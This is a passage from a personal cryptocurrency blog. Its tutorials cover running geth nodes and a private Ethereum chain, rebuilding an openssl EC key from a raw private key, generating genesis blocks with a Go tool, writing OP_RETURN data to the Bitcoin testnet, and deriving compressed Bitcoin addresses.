And you’re done. You can now launch geth to run a full Ethereum node on its main’s network, on testnet or even create your own private chain, because unlike Bitcoin, it is very easy to create your own private network.

Joining Ethereum main’s network Link to heading

Nothing much to say, just run geth. That’s it.

$ /opt/go-ethereum/build/bin/geth 
INFO [04-01|09:17:02] Maximum peer count                       ETH=25 LES=0 total=25
INFO [04-01|09:17:02] Starting peer-to-peer node               instance=Geth/v1.8.4-unstable-a095b84e/linux-amd64/go1.10.1
INFO [04-01|09:17:02] Allocated cache and file handles         database=/home/mycroft/.ethereum/geth/chaindata cache=768 handles=512
INFO [04-01|09:17:02] Writing default main-net genesis block 
INFO [04-01|09:17:02] Persisted trie from memory database      nodes=12356 size=2.34mB time=37.468534ms gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
INFO [04-01|09:17:02] Initialised chain configuration          config="{ChainID: 1 Homestead: 1150000 DAO: 1920000 DAOSupport: true EIP150: 2463000 EIP155: 2675000 EIP158: 2675000 Byzantium: 4370000 Constantinople: <nil> Engine: ethash}"
INFO [04-01|09:17:02] Disk storage enabled for ethash caches   dir=/home/mycroft/.ethereum/geth/ethash count=3
INFO [04-01|09:17:02] Disk storage enabled for ethash DAGs     dir=/home/mycroft/.ethash               count=2
INFO [04-01|09:17:02] Initialising Ethereum protocol           versions="[63 62]" network=1
INFO [04-01|09:17:02] Loaded most recent local header          number=0 hash=d4e567…cb8fa3 td=17179869184
INFO [04-01|09:17:02] Loaded most recent local full block      number=0 hash=d4e567…cb8fa3 td=17179869184
INFO [04-01|09:17:02] Loaded most recent local fast block      number=0 hash=d4e567…cb8fa3 td=17179869184
INFO [04-01|09:17:02] Regenerated local transaction journal    transactions=0 accounts=0
INFO [04-01|09:17:02] Starting P2P networking 
INFO [04-01|09:17:04] UDP listener up                          self=enode://632f2cf51de6dafb0e1254177858069595706fde6b649fb7f4811f4a14066e8955a5407226a5f78463217527c40696846f6117e9297d3837882c823a11540e72@90.127.22.118:30303
INFO [04-01|09:17:04] RLPx listener up                         self=enode://632f2cf51de6dafb0e1254177858069595706fde6b649fb7f4811f4a14066e8955a5407226a5f78463217527c40696846f6117e9297d3837882c823a11540e72@90.127.22.118:30303
INFO [04-01|09:17:04] IPC endpoint opened                      url=/home/mycroft/.ethereum/geth.ipc
INFO [04-01|09:17:34] Block synchronisation started 
INFO [04-01|09:17:38] Imported new block headers               count=192 elapsed=894.468ms number=192 hash=723899…123390 ignored=0
INFO [04-01|09:17:38] Imported new block receipts              count=2   elapsed=127.337µs number=2   hash=b495a1…4698c9 size=8.00B  ignored=0
INFO [04-01|09:17:38] Imported new block headers               count=192 elapsed=17.487ms  number=384 hash=d3d5d5…c79cf3 ignored=0
INFO [04-01|09:17:38] Imported new state entries               count=523 elapsed=3.924µs   processed=523 pending=8366 retry=0 duplicate=0 unexpected=0
[...]

Now, you’ll have to wait. Also, Ethereum is very CPU and I/O consumming (you’ll need a SSD). If you don’t need it, I strongly advise not to run an full Ethereum node.

About Ethereum testnet Link to heading

Contrary to Bitcoin, there is 3 Ethereum testnets: ropsten, kovan and rinkeby, and they are all differents from the others.

Ropsten:
- Proof of work (you can mine coins);
- Supported by geth and parity;
- Reproduces the main net environment.
Rinkeby:
- Proof of authority (can’t mine new coins);
- Supported by geth only.
Kovan:
- Proof of authority;
- Not supported by geth.

Joining a testnet network is as simple as joining mainnet. Just start geth using the --testnet switch to join ropsten, or the --rinkeby switch to join rinkeby:

$ /opt/go-ethereum/build/bin/geth --rinkeby
INFO [04-01|09:27:53] Maximum peer count                       ETH=25 LES=0 total=25
INFO [04-01|09:27:53] Starting peer-to-peer node               instance=Geth/v1.8.4-unstable-a095b84e/linux-amd64/go1.10.1
INFO [04-01|09:27:53] Allocated cache and file handles         database=/home/mycroft/.ethereum/rinkeby/geth/chaindata cache=768 handles=512
INFO [04-01|09:27:53] Writing custom genesis block 
INFO [04-01|09:27:53] Persisted trie from memory database      nodes=355 size=65.27kB time=1.459688ms gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
INFO [04-01|09:27:53] Initialised chain configuration          config="{ChainID: 4 Homestead: 1 DAO: <nil> DAOSupport: true EIP150: 2 EIP155: 3 EIP158: 3 Byzantium: 1035301 Constantinople: <nil> Engine: clique}"
INFO [04-01|09:27:53] Initialising Ethereum protocol           versions="[63 62]" network=4                                           
[...]

If you need coins on testnet networks, you can grab a few on the existing faucets. There is one for ropsten and one for rinkeby.

And what’s up with private chains ? Link to heading

With Ethereum, you can create your own chain without having to patch source code, like Bitcoin. You just need a genesis file, a JSON configuration file that describes your chain.

Lets take a look at my last genesis.json file:

{
    "config": {
        "chainId": 2283526326,
        "homesteadBlock": 0,
        "eip155Block": 0,
        "eip158Block": 0
    },
    "difficulty": "0x200",
    "gasLimit": "0x8000000",
    "alloc": {
        "c97ec1b4bf2b0106f951e113690b194289037d52": { "balance": "1000000000000000000000000" }
    }
}

Create your chain using geth init genesis.json

$ geth --datadir .ethereum/sweet-refrain init genesis.json 
INFO [04-01|09:39:08] Maximum peer count                       ETH=25 LES=0 total=25
INFO [04-01|09:39:08] Allocated cache and file handles         database=/home/mycroft/.ethereum/sweet-refrain/geth/chaindata cache=16 handles=16
INFO [04-01|09:39:08] Writing custom genesis block 
INFO [04-01|09:39:08] Persisted trie from memory database      nodes=1 size=202.00B time=33.404µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
INFO [04-01|09:39:08] Successfully wrote genesis state         database=chaindata                                            hash=e82409…14d6b1
INFO [04-01|09:39:08] Allocated cache and file handles         database=/home/mycroft/.ethereum/sweet-refrain/geth/lightchaindata cache=16 handles=16
INFO [04-01|09:39:08] Writing custom genesis block 
INFO [04-01|09:39:08] Persisted trie from memory database      nodes=1 size=202.00B time=24.128µs gcnodes=0 gcsize=0.00B gctime=0s livenodes=1 livesize=0.00B
INFO [04-01|09:39:08] Successfully wrote genesis state         database=lightchaindata                                            hash=e82409…14d6b1

And launch your daemon:

$ /opt/go-ethereum/build/bin/geth --datadir .ethereum/sweet-refrain
INFO [04-01|09:40:25] Maximum peer count                       ETH=25 LES=0 total=25
INFO [04-01|09:40:25] Starting peer-to-peer node               instance=Geth/v1.8.4-unstable-a095b84e/linux-amd64/go1.10.1
INFO [04-01|09:40:25] Allocated cache and file handles         database=/home/mycroft/.ethereum/sweet-refrain/geth/chaindata cache=768 handles=512
INFO [04-01|09:40:25] Initialised chain configuration          config="{ChainID: 2283526326 Homestead: 0 DAO: <nil> DAOSupport: false EIP150: <nil> EIP155: 0 EIP158: 0 Byzantium: <nil> Constantinople: <nil> Engine: unknown}"
INFO [04-01|09:40:25] Disk storage enabled for ethash caches   dir=/home/mycroft/.ethereum/sweet-refrain/geth/ethash count=3
INFO [04-01|09:40:25] Disk storage enabled for ethash DAGs     dir=/home/mycroft/.ethash                             count=2
INFO [04-01|09:40:25] Initialising Ethereum protocol           versions="[63 62]" network=1
INFO [04-01|09:40:25] Loaded most recent local header          number=0 hash=e82409…14d6b1 td=512
INFO [04-01|09:40:25] Loaded most recent local full block      number=0 hash=e82409…14d6b1 td=512
INFO [04-01|09:40:25] Loaded most recent local fast block      number=0 hash=e82409…14d6b1 td=512
INFO [04-01|09:40:25] Loaded local transaction journal         transactions=0 dropped=0
INFO [04-01|09:40:25] Regenerated local transaction journal    transactions=0 accounts=0
INFO [04-01|09:40:25] Starting P2P networking
INFO [04-01|09:40:27] UDP listener up                          self=enode://bac80bb4ca615dfbfbf8a738169ac72b47c7917a53941458981c4f09f3e1c0c98e940091acd12d66bff1927d4d44a26ee07814faf27c3f63b628ebc83e44e0ec@[::]:30303
INFO [04-01|09:40:27] RLPx listener up                         self=enode://bac80bb4ca615dfbfbf8a738169ac72b47c7917a53941458981c4f09f3e1c0c98e940091acd12d66bff1927d4d44a26ee07814faf27c3f63b628ebc83e44e0ec@[::]:30303
INFO [04-01|09:40:27] IPC endpoint opened                      url=/home/mycroft/.ethereum/sweet-refrain/geth.ipc

Your private chain is running !

You can attach the console and retrieve the coins allocated in the genesis block (in the alloc section), using our private key:

$ geth --datadir .ethereum/sweet-refrain attach
Welcome to the Geth JavaScript console!

instance: Geth/v1.8.4-unstable-a095b84e/linux-amd64/go1.10.1
 modules: admin:1.0 debug:1.0 eth:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 txpool:1.0 web3:1.0

> personal.importRawKey('f0abab15e15b43826a746c89ceb740ad28b0fc683475d696f5c17d924cdd9294', '');
"0xc97ec1b4bf2b0106f951e113690b194289037d52"
> eth.accounts
["0xc97ec1b4bf2b0106f951e113690b194289037d52"]
> web3.fromWei(eth.getBalance(eth.accounts[0]))
1000000
>

We can also mine new blocks. We need to set the Ether base before:

> miner.setEtherbase('c97ec1b4bf2b0106f951e113690b194289037d52')
true
> miner.start(1)
null
>

On first start, geth will generate the DAG (which will take a few seconds) and then will mien blocks:

INFO [04-01|09:58:32] Successfully sealed new block            number=1 hash=65c64d…60aa82          
INFO [04-01|09:58:32] 🔨 mined potential block                  number=1 hash=65c64d…60aa82         
INFO [04-01|09:58:32] Commit new mining work                   number=2 txs=0 uncles=0 elapsed=123.754µs

You’ll receive new coins in just a few seconds:

> web3.fromWei(eth.getBalance('c97ec1b4bf2b0106f951e113690b194289037d52'), 'ether');
1000035
>

The reference of APIs can be found on the Javascript API and Management APIs pages.

Bonus: sending & receiving coins Link to heading

Let’s say now we want to send coins to another account. I’ll create for this another address, bob’s address, and I’ll send him 5000 coins.

Creating bob’s account Link to heading

Use personal.newAccount to create a new account.

> personal.newAccount()
Passphrase: 
Repeat passphrase: 
"0x956dd1ec7e345ec5aed5d07938a239328e275b37"
> var bob = "0x956dd1ec7e345ec5aed5d07938a239328e275b37";
undefined
> web3.fromWei(eth.getBalance(bob))
0

Then, eth.sendTransaction to send coins.

> var me = eth.accounts[0];
undefined
> web3.fromWei(eth.getBalance(me))
1000035
> var amount = web3.toWei(5000, "ether");
undefined
> web3.personal.unlockAccount(me, '', 600)
true
> eth.sendTransaction({from: me, to: bob, value: amount});
"0xddc5f0120fd3642eef7ef8fb7e76339f002b97160911a926193d0ccf2bc44f98"

At this time, the transaction is created and in the network, but miner is off. We need to mine at least a block for bob to be able to retrieve its coins.

> miner.start(1)
null
INFO [04-01|10:19:23] Starting mining operation 
INFO [04-01|10:19:23] Commit new mining work                   number=8 txs=1 uncles=0 elapsed=454.946µs
INFO [04-01|10:19:25] Successfully sealed new block            number=8 hash=c43d9b…69d055
INFO [04-01|10:19:25] 🔨 mined potential block                  number=8 hash=c43d9b…69d055
INFO [04-01|10:19:25] Commit new mining work                   number=9 txs=0 uncles=0 elapsed=179.498µs
> miner.stop()
true

We mined a block, with one tx in it ! Let’s check balances:

> web3.fromWei(eth.getBalance(me))
995040
> web3.fromWei(eth.getBalance(bob))
5000
>

Bob correctly got the coins!

Recreating a ecdsa key pair using Openssl

pm@mkz.me (Patrick MARIE) — Sat, 24 Mar 2018 16:05:02 +0100

In one of my first posts, I described how to extract a freshly created ecdsa private key to create a Bitcoin address, and I was more recently asked a way to reimport in a PEM or DER file a private key, and I kinda found it.

The procedure is to simply create a first DER file with a private key, replace the private by ours, and then regenerate the public key associated.

First, generate a first key in a DER file. The -name secp256k1 param is mandatory here because we’ll import the key, not the EC params, which are also mandatory to have a valid public key in our context.

$ openssl ecparam -name secp256k1 -genkey -noout -outform DER | \
     openssl ec -inform DER -no_public -outform DER -out template.der
read EC key
writing EC key

Then, with our private key in a hexadecimal format, create a new DER key with this key, and we check its ASN.1 structure and its validity.

$ head -c 7 template.der > private.key
$ echo a114dad00000000000faced00000000000bad000000000decaf00c02bad02bad | xxd -r -p >> private.key
$ tail -c +40 template.der >> private.key
$ ll private.key 
-rw-rw-r--. 1 mycroft mycroft 48 Mar 24 16:22 private.key
$ openssl asn1parse -inform DER < private.key
    0:d=0  hl=2 l=  46 cons: SEQUENCE          
    2:d=1  hl=2 l=   1 prim: INTEGER           :01
    5:d=1  hl=2 l=  32 prim: OCTET STRING      [HEX DUMP]:A114DAD00000000000FACED00000000000BAD000000000DECAF00C02BAD02BAD
   39:d=1  hl=2 l=   7 cons: cont [ 0 ]        
   41:d=2  hl=2 l=   5 prim: OBJECT            :secp256k1
$ openssl ec -check -inform DER < private.key 
read EC key
EC Key valid.
writing EC key
-----BEGIN EC PRIVATE KEY-----
MC4CAQEEIKEU2tAAAAAAAPrO0AAAAAAAutAAAAAA3srwDAK60CutoAcGBSuBBAAK
-----END EC PRIVATE KEY-----
$

Well, everything so far is OK ! Next step is to have Openssl to recreate a public key associated, and we’ll be good to go.

$ openssl ec -inform DER -text -noout < private.key 
read EC key
Private-Key: (256 bit)
priv:
    a1:14:da:d0:00:00:00:00:00:fa:ce:d0:00:00:00:
    00:00:ba:d0:00:00:00:00:de:ca:f0:0c:02:ba:d0:
    2b:ad
pub:
    04:9f:7d:cb:14:14:21:77:d7:b9:48:78:c4:59:b6:
    3a:16:f4:12:80:84:49:b7:8f:a1:7b:e6:4c:d3:7f:
    ed:57:a6:42:12:07:e6:ca:95:e0:c5:15:c3:5f:d5:
    8c:af:ac:a8:b0:e7:d6:07:a3:3a:2c:5c:b1:6a:de:
    28:af:83:15:f7
ASN1 OID: secp256k1

$ openssl ec -inform DER -pubout < private.key 
read EC key
writing EC key
-----BEGIN PUBLIC KEY-----
MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEn33LFBQhd9e5SHjEWbY6FvQSgIRJt4+h
e+ZM03/tV6ZCEgfmypXgxRXDX9WMr6yosOfWB6M6LFyxat4or4MV9w==
-----END PUBLIC KEY-----

This is it!

Generating a genesis block

pm@mkz.me (Patrick MARIE) — Sun, 18 Mar 2018 13:34:56 +0100

Bitcoin is a blockchain, and its chain has an original, the Genesis block. The whole chain depends on that block.

The Genesir block is a regular block, and is composed of the same structure than any other block. It has a single transaction with an output that is by design not spendable.

type Block struct {
    VersionNumber uint32
    PreviousHash  []byte
    Hash          []byte
    MerkleRoot    []byte
    Timestamp     uint32
    Bits          uint32
    Nonce         uint32
    TxCount       int
    Txs           []*Transaction
}

In the Bitcoin blockchain, the Genesis block’s coinbase (input of the generating transaction, not used by the protocol) contains a single sentence, to date the block creation. This sentence is The Times 03/Jan/2009 Chancellor on brink of second bailout for banks. Litecoin’s is NY Times 05/Oct/2011 Steve Jobs, Apple’s Visionary, Dies at 56.

We can easily retrieve the complete block using bitcoin-cli (or json-api rpc):

$ bitcoin-cli getblockhash 0
000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f

$ bitcoin-cli getblock 000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f false
0100000000000000000000000000000000000000000000000000000000000000000000003ba3edfd7a7b12b27ac72c3e677
68f617fc81bc3888a51323a9fb8aa4b1e5e4a29ab5f49ffff001d1dac2b7c01010000000100000000000000000000000000
00000000000000000000000000000000000000ffffffff4d04ffff001d0104455468652054696d65732030332f4a616e2f3
2303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e
6b73ffffffff0100f2052a01000000434104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb
649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000

The structure is the following:

01000000: version
0000000000000000000000000000000000000000000000000000000000000000: previous block hash
3ba3edfd7a7b12b27ac72c3e67768f617fc81bc3888a51323a9fb8aa4b1e5e4a: merkle root
29ab5f49: timestamp
ffff001d: difficulty
1dac2b7c: nonce
01: num of transactions
– transaction 1
- 01000000: version
- 01: num of inputs
- 0000000000000000000000000000000000000000000000000000000000000000: tx hash from the output
- ffffffff: tx output number
- 4d04ffff001d0104455468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73: input script: contains the genesis’ sentence
- ffffffff: sequence
- 01: num of outputs
- 00f2052a01000000: value
- 434104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f1deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac: output script
- 00000000 locktime
– end of transaction 1

When you want to create your own chain (and building your own altcoin), you have to regenerate a new genesis block, and a quick way but ugly is to patch your wallet source, then launch it in order to compute (mine) the initial transaction & block, then report it in the source, and recompile the wallet. This can be a difficult step if you don’t know well C++ or how chains work.

There is a few tools to do this, but I wanted to do my own in golang, and the result is a new project called generate-genesis. It is a simple CLI command that takes all needed parameters for a new Genesis block, and will iterate nonce & timestamp until a new valid hash is found.

$ ./generate-genesis -h
Usage of ./generate-genesis:
  -algo string
        Algo to use: sha256, scrypt (default "sha256")
  -bits string
        Bits (default "1d00ffff")
  -coins uint
        Number of coins (default 5000000000)
  -nonce uint
        Nonce value (default 2083236893)
  -psz string
        pszTimestamp (default "The Times 03/Jan/2009 Chancellor on brink of second bailout for banks")
  -pubkey string
        Pubkey (required) (default "04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f")
  -timestamp uint
        Timestamp to use (default 1231006505)

An interesting part of the code is the block hash validity check, which differs if you are computing a sha256 hash (for bitcoin) or a scrypt hash. There another hashes, but I didn’t studied them yet. We need in this code to compute from the compact bits the target difficulty, then compute the sha256/scrypt/… hash, compare it against the target difficulty, and if the hash (which is considered as a big integer) is smaller than target, we consider the hash is valid. If not, we increment nonce and restart the process.

    target := ComputeTarget(blk.Bits)

    for {
        switch params.Algo {
        case "sha256":
            hash = ComputeSha256(ComputeSha256(blk.Serialize()))
        case "scrypt":
            hash = ComputeScrypt(blk.Serialize())
        }

        current.SetBytes(Reverse(hash))
        if 1 == target.Cmp(&current) {
            break
        }

        blk.Nonce ++
        if blk.Nonce == 0 {
            blk.Timestamp ++
        }
    }

By default, the Generate Genesis tool will compute & a valid nonce for a new block for the bitcoin chain:

$ ./generate-genesis
Ctrl Hash:      0x000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f
Target:         0x00000000ffff0000000000000000000000000000000000000000000000000000
Blk Hash:       0x000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f
Mkl Hash:       0x4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b
Nonce:          2083236893
Timestamp:      1231006505
Pubkey:         04678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5f
Coins:          5000000000
Psz:            'The Times 03/Jan/2009 Chancellor on brink of second bailout for banks'

You can change nonce value, to make sure it didn’t cheat, and it will recompute it:

$ time ./generate-genesis -nonce 2080000000|grep Nonce
Nonce:          2083236893

real    0m4.757s
user    0m4.934s
sys     0m0.072s

You can also compute the same thing for litecoin:

$ ./generate-genesis -algo scrypt -psz "NY Times 05/Oct/2011 Steve Jobs, Apple’s Visionary, Dies at 56" -coins 5000000000 -pubkey 040184710fa689ad5023690c80f3a49c8f13f8d45b8c857fbcbc8bc4a8e4d3eb4b10f4d4604fa08dce601aaf0f470216fe1b51850b4acf21b179c45070ac7b03a9 -timestamp 1317972665 -nonce 2084524493 -bits 1e0ffff0
Ctrl Hash:      0x0000050c34a64b415b6b15b37f2216634b5b1669cb9a2e38d76f7213b0671e00
Target:         0x00000ffff0000000000000000000000000000000000000000000000000000000
Blk Hash:       0x12a765e31ffd4059bada1e25190f6e98c99d9714d334efa41a195a7e7e04bfe2
Mkl Hash:       0x97ddfbbae6be97fd6cdf3e7ca13232a3afff2353e29badfab7f73011edd4ced9
Nonce:          2084524493
Timestamp:      1317972665
Pubkey:         040184710fa689ad5023690c80f3a49c8f13f8d45b8c857fbcbc8bc4a8e4d3eb4b10f4d4604fa08dce601aaf0f470216fe1b51850b4acf21b179c45070ac7b03a9
Coins:          5000000000
Psz:            'NY Times 05/Oct/2011 Steve Jobs, Apple’s Visionary, Dies at 56'

The source code is available on my github account.

Update 2018/03/19: generate-genesis now works with the X11 proof of work!

Sending a message in the blockchain

pm@mkz.me (Patrick MARIE) — Sun, 11 Mar 2018 08:33:17 +0100

Recently, I was ask how easy it was to send a message in the blockchain. In Bitcoin, there are transactions, with input (coins that will be spent) & outputs (coins locking script), and in outputs, you can create null data transactions that are not spendable outputs (as they are pruned by Bitcoin Core), that embeds up to 83 bytes of data.

Using bitcoin-cli, creating such a raw transaction is quite easy. Let’s take a look at it.

You’ll need to:

Find out an unspect transaction output to spent;
Build a new transaction, using that unspent output as input, and your target address to send the coins (removing the fees) to create a first output,
While creating this transaction, add a null data output as a second output;
Sign that transaction;
Send it to the network.

Finding out an unspent output Link to heading

There are a lot in the blockchain, but unfortunatelly, you’ll need one you can spend. Let’s find one using listunspent:

$ bitcoin-cli -testnet listunspent
[
  {
    "txid": "22d13746e7fccb4bff09271b54ea4b7cb1efe6371f3a1a0d511818e7ef7bbd04",
    "vout": 0,
    "address": "mgzhrk75WDYiiiNpUP3c6ixbSvFcPVGSzH",
    "account": "",
    "scriptPubKey": "76a9141037b8c9eb50aada3046511eb015176c4eb9de4d88ac",
    "amount": 0.16250000,
    "confirmations": 301,
    "spendable": true,
    "solvable": true,
    "safe": true
  }
]

This one will do it.

Creating our transaction Link to heading

Let’s prepare our data. I want to write in the blockchain the following string: Testing null data transaction for my weblog.. It is a 44 (0x2c) bytes strings and its hex representation is:

$ echo "Testing null data transaction for my weblog." | xxd -pu -c 80
54657374696e67206e756c6c2064617461207472616e73616374696f6e20666f72206d79207765626c6f672e0a

We will have to send 54657374696e67206e756c6c2064617461207472616e73616374696f6e20666f72206d79207765626c6f672e0a (the hex representation of the string).

The output I’ll use can be use to spend 0.1625 coins. We need to take care of fees, and as our transaction will be ~140 bytes, I’ll use a fee of 280 satoshis (~2 satoshis/byte). I’ll be able to recover 0.1625-(280/100000000) = .16249720.

Now, to build our transaction, we need to use createrawtransaction:

$ export TXID=22d13746e7fccb4bff09271b54ea4b7cb1efe6371f3a1a0d511818e7ef7bbd04
$ export VOUT=0
$ export DATA=54657374696e67206e756c6c2064617461207472616e73616374696f6e20666f72206d79207765626c6f672e0a
$ export AMOUNT=0.16249720
$ export ADDR=mgzhrk75WDYiiiNpUP3c6ixbSvFcPVGSzH
$ TX=$(bitcoin-cli -testnet createrawtransaction \
    "[{\"txid\":\"$TXID\", \"vout\":0}]" "{\"$ADDR\": $AMOUNT, \"data\": \"$DATA\"}"); echo $TX
020000000104bd7befe71818510d1a3a1f37e6efb17c4bea541b2709ff4bcbfce74637d1220000000000ffffffff0278f3f7
00000000001976a9141037b8c9eb50aada3046511eb015176c4eb9de4d88ac00000000000000002f6a2d54657374696e6720
6e756c6c2064617461207472616e73616374696f6e20666f72206d79207765626c6f672e0a00000000

We can take a look at our transaction using decodetx

bitcoin-cli -testnet decoderawtransaction $TX
{
  "txid": "268136ea83a8abdbb6f35de011df2a51d25a2aae17260c2d6171e1f2384c478c",
  "hash": "268136ea83a8abdbb6f35de011df2a51d25a2aae17260c2d6171e1f2384c478c",
  "version": 2,
  "size": 141,
  "vsize": 141,
  "locktime": 0,
  "vin": [
    {
      "txid": "22d13746e7fccb4bff09271b54ea4b7cb1efe6371f3a1a0d511818e7ef7bbd04",
      "vout": 0,
      "scriptSig": {
        "asm": "",
        "hex": ""
      },
      "sequence": 4294967295
    }
  ],
  "vout": [
    {
      "value": 0.16249720,
      "n": 0,
      "scriptPubKey": {
        "asm": "OP_DUP OP_HASH160 1037b8c9eb50aada3046511eb015176c4eb9de4d OP_EQUALVERIFY OP_CHECKSIG",
        "hex": "76a9141037b8c9eb50aada3046511eb015176c4eb9de4d88ac",
        "reqSigs": 1,
        "type": "pubkeyhash",
        "addresses": [
          "mgzhrk75WDYiiiNpUP3c6ixbSvFcPVGSzH"
        ]
      }
    },
    {
      "value": 0.00000000,
      "n": 1,
      "scriptPubKey": {
        "asm": "OP_RETURN 54657374696e67206e756c6c2064617461207472616e73616374696f6e20666f72206d79207765626c6f672e0a",
        "hex": "6a2d54657374696e67206e756c6c2064617461207472616e73616374696f6e20666f72206d79207765626c6f672e0a",
        "type": "nulldata"
      }
    }
  ]
}

Signing & sending Link to heading

Next 2 steps are simpler. Signing will just take as an input the raw transaction, creating the signed transaction with the signrawtransaction rpc call. And finally, last step will be to inject the transaction in the network.

$ bitcoin-cli -testnet signrawtransaction $TX
{
  "hex": "020000000104bd7befe71818510d1a3a1f37e6efb17c4bea541b2709ff4bcbfce74637d122000000008a47304402201a8c3589
  440d3253bf1cd6162c68208ece41fe42b3d017a96cfa91993edab40702206749ec31f903247574f38772c79c8d0e99b4299912b958ac70
  0468b95efdc2c40141043f8008c64233bba3bbdfa300b11770c09f17ecfe49bc9a5d0260963136a7a0a9c28d7744a20008c026ce41825a
  f2d9007c288cbdf0af765eabdad85556de675cffffffff0278f3f700000000001976a9141037b8c9eb50aada3046511eb015176c4eb9de
  4d88ac00000000000000002f6a2d54657374696e67206e756c6c2064617461207472616e73616374696f6e20666f72206d79207765626c
  6f672e0a00000000",
  "complete": true
}
$ export SIGNED_TX=020000000104bd7befe71818510d1a3a1f37e6efb17c4bea541b2709ff4bcb[...]

Last step is about to send our signed transaction, using sendrawtransaction:

$ bitcoin-cli -testnet sendrawtransaction $SIGNED_TX
63860881b1976b026916214cfd012a002ef273122c54fe437000e62fc2263f92

And we’re done !

Checking Link to heading

Blocks explorer can give you information about your transaction, if it is confirmed or not, and show you the data send to the chain.

$ curl -s "https://api.blockcypher.com/v1/btc/test3/txs/63860881b1976b026916214cfd012a002ef273122c54fe437000e62fc2263f92?limit=50&includeHex=true" | \
    python3 -c "import sys, json; print(json.load(sys.stdin)['outputs'][1]['data_hex'])" | \
    xxd -r -p
Testing null data transaction for my weblog.

You can also use gettransaction and decoderawtransaction to check confirmations on the transaction and data sent:

$ bitcoin-cli -testnet gettransaction 63860881b1976b026916214cfd012a002ef273122c54fe437000e62fc2263f92
{
  "amount": 0.00000000,
  "fee": -0.00000280,
  "confirmations": 0,
  "trusted": true,
  "txid": "63860881b1976b026916214cfd012a002ef273122c54fe437000e62fc2263f92",
[...]
  "hex": "020000000104bd7befe71818510d1a3a1f37e6efb17c4bea541b2709ff4bcbfce74637d122000000008a47304402201a8c3589
  440d3253bf1cd6162c68208ece41fe42b3d017a96cfa91993edab40702206749ec31f903247574f38772c79c8d0e99b4299912b958ac70
  0468b95efdc2c40141043f8008c64233bba3bbdfa300b11770c09f17ecfe49bc9a5d0260963136a7a0a9c28d7744a20008c026ce41825a
  f2d9007c288cbdf0af765eabdad85556de675cffffffff0278f3f700000000001976a9141037b8c9eb50aada3046511eb015176c4eb9de
  4d88ac00000000000000002f6a2d54657374696e67206e756c6c2064617461207472616e73616374696f6e20666f72206d79207765626c
  6f672e0a00000000"
}

$ bitcoin-cli -testnet decoderawtransaction 020000000104bd7befe718185[...]f672e0a00000000
{
  "txid": "63860881b1976b026916214cfd012a002ef273122c54fe437000e62fc2263f92",
  "hash": "63860881b1976b026916214cfd012a002ef273122c54fe437000e62fc2263f92",
[...]
    {
      "value": 0.00000000,
      "n": 1,
      "scriptPubKey": {
        "asm": "OP_RETURN 54657374696e67206e756c6c2064617461207472616e73616374696f6e20666f72206d79207765626c6f672e0a",
        "hex": "6a2d54657374696e67206e756c6c2064617461207472616e73616374696f6e20666f72206d79207765626c6f672e0a",
        "type": "nulldata"
      }
    }
  ]
}

In a next article, I hope to redo the same thing, but programmatically using python or golang!

Understanding bitcoin addresses (part 2)

pm@mkz.me (Patrick MARIE) — Thu, 08 Mar 2018 07:14:09 +0100

This article is the following of Understanding bitcoin addresses (part 1). We took a brief look in this article how to create with openssl a private/public ECDSA secp256k1 key and how to create from this a Bitcoin address and its private key in Wallet Import Format (WIF).

There is still a lot to talk about Bitcoin addresses. This article will cover:

Uncompressed and compressed addresses;
Script (P2SH - bip13) addresses;
Newer bech32 (bip173) addresses.

Uncompressed/compressed addresses Link to heading

Public address Link to heading

We saw in part-1 that the size of an uncompressed key was 65 bytes, starting by 0x04. A single public key can also have a compressed representation. Its size will be 33 bytes, and will start by either 0x02 or 0x03.

In fact, a public key is composed by a couple of integers, x & y, and in its uncompressed form, the public key is simple [0x04] [X value] [Y value]. In its compressed form, the public key is [0x02 or 0x03 prefix] [X value], because for an X value, the Y value can have only 2 values, an odd one and an even one. Then, the prefix will be 0x02 if Y is even, and 0x03 if it is odd.

Knowing this, the address generation script is very simple to update. We have only the get_public_key function to update:

def get_public_key(privkey, use_compression = False):
    sk = ecdsa.SigningKey.from_string(privkey, curve=ecdsa.SECP256k1)
    vk = sk.verifying_key

    if use_compression:
        p = vk.pubkey.point
        order = sk.curve.generator.order()

        x_str = ecdsa.util.number_to_string(p.x(), order)
        prefix = bytes(chr((p.y() & 0x01) + 2), 'ascii')

        return (prefix + x_str)

    # Uncompressed
    return (b'\04' + sk.verifying_key.to_string())

The complete script is still available on my repository.

$ COMPRESS=1 python create-addr.py 4e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33
Public key: 02ff3a56b2acbfdee1991c637fde89f0419833a1dc2e6f28dbe8ee64a3980b7c5d
Public address: 1LQWpoxq7hAwGu8AXfHG7hWdN9bt9dRnzp

# Verifying with bitcoin-tool:
$ ./bitcoin-tool --input 4e7b7fb13697e6940c08d0bd9adefdea127047797bcdea85bb25d8bdd101aa33 \
                 --input-type private-key --input-format hex --output-type address \
                 --output-format base58check --network bitcoin --public-key-compression compressed
1LQWpoxq7hAwGu8AXfHG7hWdN9bt9dRnzp

Private address Link to heading

